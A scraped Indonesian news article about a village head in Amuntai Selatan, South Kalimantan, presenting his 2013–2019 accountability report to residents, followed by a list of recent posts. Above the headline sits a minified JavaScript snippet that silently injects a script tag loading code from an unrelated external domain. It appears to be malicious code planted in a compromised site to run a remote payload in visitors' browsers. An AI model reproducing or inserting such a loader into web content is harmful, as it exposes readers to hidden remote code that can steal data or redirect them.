(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kades Ini Laporan Pertanggungjawaban Dihadapan Warga dan Aparat Desa


AMUNTAI, Inovasi Kepala Desa (Kades) Simpang Empat Joni Effendi patut dijadikan contoh bagi para kades lainnya. Di akhir masa jabatannya sebagai Kades Simpang Empat Joni Effendi mengundang warganya menyimak laporan pertanggung jawaban secara terbuka.

Joni Effendi menyampaikan laporan pertanggung jawaban selama ia menjabat sebagai Kades selama periode 2013 -2019, bertempat di halaman Kantor Desa Simpang Empat, Kecamatan Amuntai Selatan, Selasa (17/9).

Laporan pertanggungjawaban tersebut disampaikan secara langsung di hadapan para warga setempat, aparat desa, unsur BPD, para Kepala Desa dan Camat Amuntai Selatan. Ia juga mengundang secara khusus Dinas Kominfo HSU agar dapat mempublikasikan hasil pertanggungjawabannya tersebut secara langsung.

Warga desa Simpang Empat mendengarkan laporan pertanggungjawaban kades mereka. foto: dew

Joni Effendi dalam penyampaian laporannya tersebut mengatakan selama kepemimpinannya sejak tahun 2013 sampai 2019, sudah banyak kemajuan dan keberhasilan yang telah dicapai oleh desa ini. Seperti beberapa pembangunan fisik yang jelas terlihat berkat kerjasama seluruh masyarakat bersama aparat desa, di samping pembangunan jalan usaha tani yang tersebar di desa Simpang Empat.

“Saya ucapkan terima kasih kepada seluruh masyarakat yang telah bersama-sama membangun desa ini,”

“Mohon maaf sekiranya dalam kepemimpinan saya ada kesalahan, kekhilafan dan kekurangan yang membuat warga merasa kecewa atau tidak puas,” ungkap Joni.

Sementara itu, Camat Amuntai Selatan Khairussalim mengapresiasi Kades Simpang Empat yang telah menyampaikan laporan pertanggungjawabannya secara terbuka, karena menurutnya ini mungkin yang pertama di Kabupaten HSU.

“Namun demikian,laporan pertanggungjawaban ini hanya bersifat pengumuman, jadi tidak ada kewajiban menerima dan menolak laporan ini,” ujar Camat Amuntai Selatan.

Dikatakanya, sesuai dengan Undang-Undang No 6 tahun 2014 tentang Desa pasal 27 poin 7,menyatakan bahwa seorang Kepala Desa berkewajiban menyampaikan laporan pertanggungjawaban kepada Bupati atau Walikota. Selain itu, Khairussalim berharap seluruh lapisan masyarakat agar selalu bersatu dalam membangun desa,terlepas dari siapapun yang nantinya akan menjadi kepala desa yang baru. (dew)

Reporter : dew
Editor : bie

 


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

14 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

17 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

17 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

19 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

21 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

22 jam ago

This website uses cookies.